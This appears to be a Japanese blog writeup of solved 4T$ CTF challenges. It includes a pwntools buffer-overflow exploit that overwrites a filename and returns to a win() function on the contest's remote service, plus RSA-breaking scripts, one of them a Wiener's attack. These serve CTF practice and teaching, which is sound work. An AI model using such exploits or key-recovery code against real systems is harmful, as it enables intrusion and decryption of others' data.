以下の内容はhttps://yocchin.hatenablog.com/entry/2024/11/13/092232より取得しました。


4T$ CTF Writeup

この大会は2024/11/9 3:00(JST)~2024/11/11 3:00(JST)に開催されました。
今回もチームで参戦。結果は868点で337チーム中49位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity check (in-sanity)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

4T${S4n1ty_ch3ck_1s_3asy}

Water on Mars (misc)

StegSolveで開き、Red plane 3を見ると、以下の文字が現れた。

W4T3R<3

4T${W4T3R<3}

Pas ouf (pwn)

Ghidraでデコンパイルする。

undefined8 main(undefined4 param_1,undefined8 param_2)

{
  char local_118 [128];
  undefined local_98 [128];
  undefined8 local_18;
  undefined4 local_10;
  undefined4 local_c;
  
  local_c = 0;
  local_18 = param_2;
  local_10 = param_1;
  setvbuf(_stdout,(char *)0x0,2,0);
  memcpy(local_98,"readme.md",0x80);
  memcpy(local_118,"Hello World!",0x80);
  puts(local_118);
  gets(local_118);
  puts(local_118);
  set_file_to_read(local_98);
  return 0;
}

void set_file_to_read(void *param_1)

{
  memcpy(file_to_read,param_1,0x80);
  return;
}

void win(void)

{
  int iVar1;
  FILE *__stream;
  
  __stream = fopen(file_to_read,"r");
  while( true ) {
    iVar1 = fgetc(__stream);
    if ((char)iVar1 == -1) break;
    putchar((int)(char)iVar1);
  }
                    /* WARNING: Subroutine does not return */
  exit(0);
}
$ gdb -q ./pwn-pas-ouf                           
Reading symbols from ./pwn-pas-ouf...
(No debugging symbols found in ./pwn-pas-ouf)
gdb-peda$ pattc 300
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%'
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/pwn-pas-ouf 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Hello World!
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%

Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x7fffffffde68 --> 0x7fffffffe1fb ("/mnt/hgfs/Shared/pwn-pas-ouf")
RCX: 0x7ffff7eb5210 (<__GI___libc_write+16>:    cmp    rax,0xfffffffffffff000)
RDX: 0x80 
RSI: 0x7fffffffdcc0 ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
RDI: 0x404060 ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
RBP: 0x3425416525414925 ('%IA%eA%4')
RSP: 0x7fffffffdd58 ("A%JA%fA%5A%KA%gA%6A%")
RIP: 0x4012c0 (<main+160>:      ret)
R8 : 0xf000 
R9 : 0x0 
R10: 0x3 
R11: 0x202 
R12: 0x0 
R13: 0x7fffffffde78 --> 0x7fffffffe218 ("CLUTTER_IM_MODULE=xim")
R14: 0x7ffff7ffd000 --> 0x7ffff7ffe2e0 --> 0x0 
R15: 0x403de8 --> 0x401160 (<__do_global_dtors_aux>:    endbr64)
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4012b6 <main+150>: xor    eax,eax
   0x4012b8 <main+152>: add    rsp,0x110
   0x4012bf <main+159>: pop    rbp
=> 0x4012c0 <main+160>: ret
   0x4012c1:    add    BYTE PTR [rax],al
   0x4012c3:    add    BYTE PTR [rax-0x7d],cl
   0x4012c6 <_fini+2>:  in     al,dx
   0x4012c7 <_fini+3>:  or     BYTE PTR [rax-0x7d],cl
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd58 ("A%JA%fA%5A%KA%gA%6A%")
0008| 0x7fffffffdd60 ("5A%KA%gA%6A%")
0016| 0x7fffffffdd68 --> 0x25413625 ('%6A%')
0024| 0x7fffffffdd70 --> 0x100400040 
0032| 0x7fffffffdd78 --> 0x7fffffffde68 --> 0x7fffffffe1fb ("/mnt/hgfs/Shared/pwn-pas-ouf")
0040| 0x7fffffffdd80 --> 0x7fffffffde68 --> 0x7fffffffe1fb ("/mnt/hgfs/Shared/pwn-pas-ouf")
0048| 0x7fffffffdd88 --> 0x9e099925fcc54cc8 
0056| 0x7fffffffdd90 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004012c0 in main ()
gdb-peda$ patto A%JA%fA%5A%KA%gA%6A%
A%JA%fA%5A%KA%gA%6A% found at offset: 280

BOFで、任意の128バイトの後に"flag"を指定し、全体で280バイトの後にリターンアドレスとwin関数のアドレスを指定すれば、flag.txtを読み込むことができる。

$ ROPgadget --binary ./pwn-pas-ouf | grep ": ret"
0x0000000000401016 : ret
0x0000000000401042 : ret 0x2f
0x0000000000401022 : retf 0x2f
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('main-5000-pwn-pas-ouf-4d3d210a6bc5f582.ctf.4ts.fr', 52525, ssl=True)
else:
    p = process('./pwn-pas-ouf')

elf = ELF('./pwn-pas-ouf')

ret_addr = 0x401016
win_addr = elf.symbols['win']

payload = b'A' * 128
payload += b'flag\x00'
payload += b'B' * (280 - len(payload))
payload += p64(ret_addr)
payload += p64(win_addr)

data = p.recvline().decode().rstrip()
print(data)
print(payload)
p.sendline(payload)
data = p.recvline().decode().rstrip()
print(data)
data = p.recvline().decode().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to main-5000-pwn-pas-ouf-4d3d210a6bc5f582.ctf.4ts.fr on port 52525: Done
[*] '/mnt/hgfs/Shared/pwn-pas-ouf'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
Hello World!
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAflag\x00BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\x16\x10@\x00\x00\x00\x00\x00\xa0\x11@\x00\x00\x00\x00\x00'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAflag
4T${p4$_0uF_Ou_tr€s_ouFF}
[*] Closed connection to main-5000-pwn-pas-ouf-4d3d210a6bc5f582.ctf.4ts.fr port 52525
4T${p4$_0uF_Ou_tr€s_ouFF}

Are you sane ? (web)

HTMLソースを見ると、以下のページへのリンクがある。

https://main-8080-web-are-you-sane-b60c9a73218bcc58.ctf.4ts.fr/blbl.html

ここにアクセスすると、フラグが表示された。

4T${7h15-f1l3-W45-N07-h1DD3N}

Gam-Gam (crypto)

nを2で割ると、pの値を算出できるので、その値を使って復号できる。

#!/usr/bin/env python3
from Crypto.Util.number import *

def decrypt(ct: int, priv_key: (int, int)) -> int:
    n, d = priv_key
    return pow(ct, d, n)

pub = (1187036881143255678002463758823328059054967286304079946698830107983054756455116137560640360907617090768892222200232769013898086641365526920365941657223719909608623612364565491394396836689005779953582737606769612044152900984410189797945160970640233269434857215156707188226644140186233117418578999649675501923158500973527860820476774162258056088176836933971626651722297419469001832141393303687831763041541298637984981484605886538085054999743028130034186150375954369138007688335922353720290223733062752735362640330007395278113210621407774253326748367183647916542260385241849328645829055161868897760626313462053770486741600871918596910274170809764858924373557759944088849747488101309508664734646761762412297919300985341470183672896494363089287897564003884864937477882116184866139314943820121458541671053111784924614354354051278861337795171453392846554516472806170955424094756390970572454084554064299959563385403753982420758416150497980281277588694172034437436874006653172021381177623273333042379989422646166480734410913148567193586525237775287519085811109666011917375279015787726665088346364963313941503929463975682736763812440239892582271133388552728034109040233071519106207594592661468817905961569517921007110971395505830618097714478302, 65537)
ct = 795807804195143453698199351714341881491007858193124317249991960343873442402330541927355975462857321435938754440321580174443331666641181625664069405050964566344381744709294110771870536802353007022271867378658681771017152652337537847752445300535171488167996282441962543976576696465573991060306807268553659109840313328518099780850408480656440234846473549017585724141302898515099966486748289860601838615696366759534875502563433987281076478746704673766615604679732113066945172837918782569635525478298453073137252252807049842035005266808708242245205256476149494296039430508531375107451338401537609064664390446408507706477965483671800993119312002909135270398571898844908643483215653937390863031730605961379386046951618745731912613235578147115643378764728145934422515365821994913473759604466504627671738552946527189180057717976411101700962342930065732023681381389942592202841123754672836935980227561011259880242223658584675417448037977336301973044247690228389495603711704632306639520856078639797104835378636642939190389932673963835980987694812947833691746134338765367684261289851826492260573430796933048931658801423183863572727478714738535956082504958502080116828296338104460121704114347331800007862970894127699814246457589160922514051314061

n, e = pub
p = n // 2
phi_n = p - 1
d = pow(e, -1, phi_n)

priv = (n, d)
m = decrypt(ct, priv)
flag = long_to_bytes(m).decode()
print(flag)
4T${one_to_rule_them_all}

Not so private (crypto)

nをhttps://www.dcode.fr/prime-factors-decomposition素因数分解する。

n = 9308809837340399653 * 9638656009474996247 * 10172067034866822329 * 10354784369698224719
  * 11209486700740045189 * 11346323158137382339 * 11354147304116634911 * 11764352138541927941
  * 12173970345611589103 * 13161288593188783501 * 13232429251966529279 * 13688640699874074247
  * 14198816595521136841 * 14476726661472037681 * 14731435635793702433 * 14861104142259777419
  * 15169799324952462451 * 15238470019725544583 * 15415799843802438209 * 15511003127367003967
  * 15745096712251841113 * 15878969227403060279 * 16576514605788751547 * 16630719954639992581
  * 16671653695109508187 * 16728097962753531677 * 17996055586202421529 * 18063314945654761219
  * 18185405107246550969 * 18362837959013960089

あとは通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('Output', 'r') as f:
    params = f.read().splitlines()

n = int(params[0].split(' = ')[1])
e = int(params[1].split(' = ')[1])
c = int(params[2].split(' = ')[1])

ps = [9308809837340399653, 9638656009474996247, 10172067034866822329,
    10354784369698224719, 11209486700740045189, 11346323158137382339,
    11354147304116634911, 11764352138541927941, 12173970345611589103,
    13161288593188783501, 13232429251966529279, 13688640699874074247,
    14198816595521136841, 14476726661472037681, 14731435635793702433,
    14861104142259777419, 15169799324952462451, 15238470019725544583,
    15415799843802438209, 15511003127367003967, 15745096712251841113,
    15878969227403060279, 16576514605788751547, 16630719954639992581,
    16671653695109508187, 16728097962753531677, 17996055586202421529,
    18063314945654761219, 18185405107246550969, 18362837959013960089]

phi = 1
for p in ps:
    phi *= p - 1

d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
4T${sadly_this_is_too_much_prime_my_son}

Matematik (crypto)

eが極めて大きいので、Wiener's Attackで復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *
from fractions import Fraction
from base64 import b64decode

def egcd(a, b):
    x, y, u, v = 0, 1, 1, 0
    while a != 0:
        q, r = b // a, b % a
        m, n = x - u * q, y - v * q
        b, a, x, y, u, v = a, r, u, v, m, n
        gcd = b
    return gcd, x, y

def decrypt(p, q, e, c):
    n = p * q
    phi = (p - 1) * (q - 1)
    gcd, a, b = egcd(e, phi)
    d = a
    pt = pow(c, d, n)
    return long_to_bytes(pt)

def continued_fractions(n,e):
    cf = [0]
    while e != 0:
        cf.append(int(n // e))
        N = n
        n = e
        e = N % e
    return cf

def calcKD(cf):
    kd = list()
    for i in range(1, len(cf) + 1):
        tmp = Fraction(0)
        for j in cf[1:i][::-1]:
            tmp = 1 / (tmp + j)
        kd.append((tmp.numerator, tmp.denominator))
    return kd

def int_sqrt(n):
    def f(prev):
        while True:
            m = (prev + n // prev) // 2
            if m >= prev:
                return prev
            prev = m
    return f(n)

def calcPQ(a, b):
    if a * a < 4 * b or a < 0:
        return None
    c = int_sqrt(a * a - 4 * b)
    p = (a + c) // 2
    q = (a - c) // 2
    if p + q == a and p * q == b:
        return (p, q)
    else:
        return None

def wiener(n, e):
    kd = calcKD(continued_fractions(n, e))
    for (k, d) in kd:
        if k == 0:
            continue
        if (e * d - 1) % k != 0:
            continue
        phin = (e * d - 1) // k
        if phin >= n:
            continue
        ans = calcPQ(n - phin + 1, n)
        if ans is None:
            continue
        return (ans[0], ans[1])

pub = (813291308603414089290668124041839733918488102866707584478634305319455045742732398934285162590313628856151815805790620427282606419733953720940672900768927843456798354736166539116245629511099027050834359384831529357375361650207922031319202531732346130779684513880916453362321181490895712150208665938936278172640305188677018153679323752530891790061335976403796874283838241633986457526745812030002471049604945974200148937982826320771554655435614757483499493911336752954800985578910845367956516996617229558390523818494709361186658914477419251812995871366351489494308292606000804614366845051918199227844254546329541843568318237109632457847134885083162397820112825732852216955328660838562813889545261894305894160609220887968790944587321188098754603643013421664631133010093611556497233001653201895232543427082211683021364712220647876947616554074640514028751536406658385579193774470930187879078899695146964706436953032128385848122414086434213809075484348842559074698856998042069709556057058143190691596178593402659233400344987806988713656452553047776818230138111821734002434933579554120175239589824745274138505528074316535235675310159751338868381402667299087497293471199173475186425479086169119058202621574904341235785246634876364612171762039, 507629470812273261823426390546598338984395989442071474050416785320440010159634016383832635630627366973849528238182510962137111640508110790495315940357236952175068500887330221534610953600273841963487815952694025077621388297338394497587374864453412549069891512740981002243575242455039752608668327752194980276553830616717081535140131472469003490922930873685871639979453889383771636442013652167366168345651503969931023708386430496255530725148293969510474787981494451982469823070955933396841763617850694834638657960004417960227867460846597255166692801940250504317372628474735332077991643792461076896124636935163284072466415339475869348991747659374068270652923128794611435079728489232122948179139197547105159952184231485291647613944223516450080883783540351500360106831879612194331391872641037161673244469591268235189667939691167302161427391206555938078520320564149433927306713056434689300750584217302607803804849162996945453960388589576433514450931587322042461589005902688639249894585367101942527518672906958428684989901046887818040748667377553642721872919254441104379963680746321602265998423512578545469859243244107381159471514440291591999221623568031461898015393860750228229154460555520746111342574014851882064314878187293289220899929807)
ct = 556929789932718354289291849394616085746017472924699209648914037202503416575540852830970664161255326023268634267454107774965420213413821042576276508575455454361523573097884468178170003077347056594772266618658709362255877582064457508199710666562370947380840565162429512173936308204532454076794768514066924004746803038256412552237658292113081608006251236076708578344122432586668187584141207615427828061411854105828515375964545783967241743237338987432939077584028379144738368932124095367932978939269991855150473979077827471523074357255458371128658173282444008289098805775210188129191929555599684770996221844343085502091025637291770521228572273689936242153064802513056303923914150604670956717223303806593746367470261209586104020700589223881827015327135689001439309533530597224229719728250381029314935622264783085597813127891143325840103161823613658376562092838968353695725179031099723570207527561818677173920140026394852719332897635673091839874217580098458961022224756236920496049672662910077320373061540661712874310205443131382764229256203955927297599654747525835793142357208317882463486124468731953065393841513854916505999541748109264234674614040515601134746212095952825656454587128065358700074118271602538129048748869380854865933904021

n, e = pub
p, q = wiener(n, e)

flag = decrypt(p, q, e, ct).decode()
print(flag)
4T${E_was_a_little_too_strong_this_time}



以上の内容はhttps://yocchin.hatenablog.com/entry/2024/11/13/092232より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14